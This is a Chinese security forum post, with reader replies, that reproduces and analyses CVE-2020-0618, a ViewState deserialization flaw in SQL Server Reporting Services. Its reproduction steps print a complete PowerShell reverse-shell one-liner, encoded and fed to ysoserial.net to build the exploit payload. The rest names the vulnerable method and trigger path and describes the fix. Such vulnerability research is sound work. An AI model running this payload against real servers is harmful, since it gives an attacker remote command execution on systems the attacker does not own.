首页
社区
课程
招聘
[原创]CVE-2020-0618复现及分析
2020-2-25 20:43 13279

[原创]CVE-2020-0618复现及分析

2020-2-25 20:43
13279

CVE-2020-0618复现及分析

一、环境搭建

  1. 靶机

    • Windows Server 2016
    • SQLServer 2016标准版
    • Reporting Services配置
      添加访问账户->配置web服务URL->配置web门户URL

    前端验证:浏览器访问http://ip/ReportServer,提示输入前面设置的用户名和密码,输入添加的用户名和密码即可。

  2. 攻击机

    Windows 7 SP1 x64(注:尽量不要用Linux,抓取的数据包存在问题)

    安装ysoserial

二、复现过程

  1. 首先使用powershell打开ysoserial.net工具生成有效负载:

    $command = '$client = New-Object System.Net.Sockets.TCPClient("ip",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
    
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
    
    $encodedCommand = [Convert]::ToBase64String($bytes)
    
    .\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip
    
  2. 使用Burp进行浏览器监听

  3. 修改Burp的发送消息为有效负载触发漏洞:

  1. 接收回弹shell

三、漏洞分析

1. 漏洞概述

  1. 漏洞服务:Reporting Services(默认情况下并不安装,需要手动安装)
  2. 漏洞文件:ReportingServicesWebServer.dll,路径:SQL Server安装目录下Reporting Services/ReportServer/bin
  3. 漏洞函数:`Microsoft.Reporting.WebForms.BrowserNavigationCorrector中的OnLoad方法

2. 详细分析

对ReportingServicesWebServer.dll进行反编译,找到漏洞函数:

 

 

从代码来看,Microsoft.Reporting.WebForms.BrowserNavigationCorrector中的OnLoad()方法,首先获取ViewState中的值,并赋给value变量。对value变量进行非空判断,然后初始化LosFormatter对象,最后使用LosFormatter对象中的Deserialize()方法对value变量直接反序列化。

 

而对LosFormatter类的实例进行调用的位置位于Microsoft.ReportingServices.WebServer.ReportViewerPage中的OnInit方法:

 

 

由此可以定位到能触发漏洞的路径为ReportServer/pages/ReportViewer.aspx

四、漏洞修复

官方仅仅在使用LosFormatter类时开启MAC验证来修复该漏洞。

五、参考文献

  1. https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2020-2-26 09:47 被有毒编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (14)
雪    币: 12120
活跃值: (15560)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2020-2-25 21:02
2
0
mark,楼主辛苦了,希望下次能有图,方便学习O(∩_∩)O哈哈~
雪    币: 12715
活跃值: (16347)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
有毒 10 2020-2-25 21:12
3
0
pureGavin mark,楼主辛苦了,希望下次能有图,方便学习O(∩_∩)O哈哈~
我这里是可以看到图片的,是不是因为图床加载太慢了。。
雪    币: 310
活跃值: (1917)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
niuzuoquan 2020-2-25 21:49
4
0
没有图,mark
雪    币: 12120
活跃值: (15560)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2020-2-26 02:00
5
0
有毒 我这里是可以看到图片的,是不是因为图床加载太慢了。。
只能看到代码,没有图片。。。
雪    币: 12715
活跃值: (16347)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
有毒 10 2020-2-26 09:47
6
0
pureGavin 只能看到代码,没有图片。。。
重新上传了图片
雪    币: 12715
活跃值: (16347)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
有毒 10 2020-2-26 09:47
7
0
niuzuoquan 没有图,mark
已更新
雪    币: 18867
活跃值: (60313)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2020-2-26 16:17
8
0
pureGavin 只能看到代码,没有图片。。。
其实原来图片是有的,图片在国外,要科学方法才能看到
雪    币: 83
活跃值: (1052)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
killpy 2 2020-2-26 20:41
9
0
获取浏览器的validationkey  validationalg  generator viewstateuserkey 这四个值 诱导服务器反序列化我们特制的ViewState数据 就可以以System权限任意执行指令 
雪    币: 12120
活跃值: (15560)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2020-2-26 23:52
10
0
Editor 其实原来图片是有的,图片在国外,要科学方法才能看到
现在上看雪都要科学了么??
雪    币: 12715
活跃值: (16347)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
有毒 10 2020-2-27 17:10
11
0
你说的这个是CVE-2020-0688 Exchange的那个漏洞吧
雪    币: 12715
活跃值: (16347)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
有毒 10 2020-2-27 17:11
12
0
pureGavin 现在上看雪都要科学了么??
是我失误了,图放在图床了,好像图床国内不好加载。。
雪    币:
活跃值: (43)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
huri 2020-4-12 16:32
13
0
mark,对ReportingServicesWebServer.dll进行反编译,是用的dnSpy?
最后于 2020-4-12 17:00 被huri编辑 ,原因:
雪    币: 12715
活跃值: (16347)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
有毒 10 2020-4-13 09:29
14
0
huri mark,对ReportingServicesWebServer.dll进行反编译,是用的dnSpy?
是的,dnSpy
雪    币:
活跃值: (43)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
huri 2020-4-17 19:54
15
0
你好,想问您几个问题:
你用burp的漏洞复现也是配置了NTLM验证吗?
能不验证RCE吗?
查了下微软官方的文档,默认情况下,reporting services就是用的NTLM验证,所以不更改配置的情况下,只能通过NTLM验证?
游客
登录 | 注册 方可回帖
返回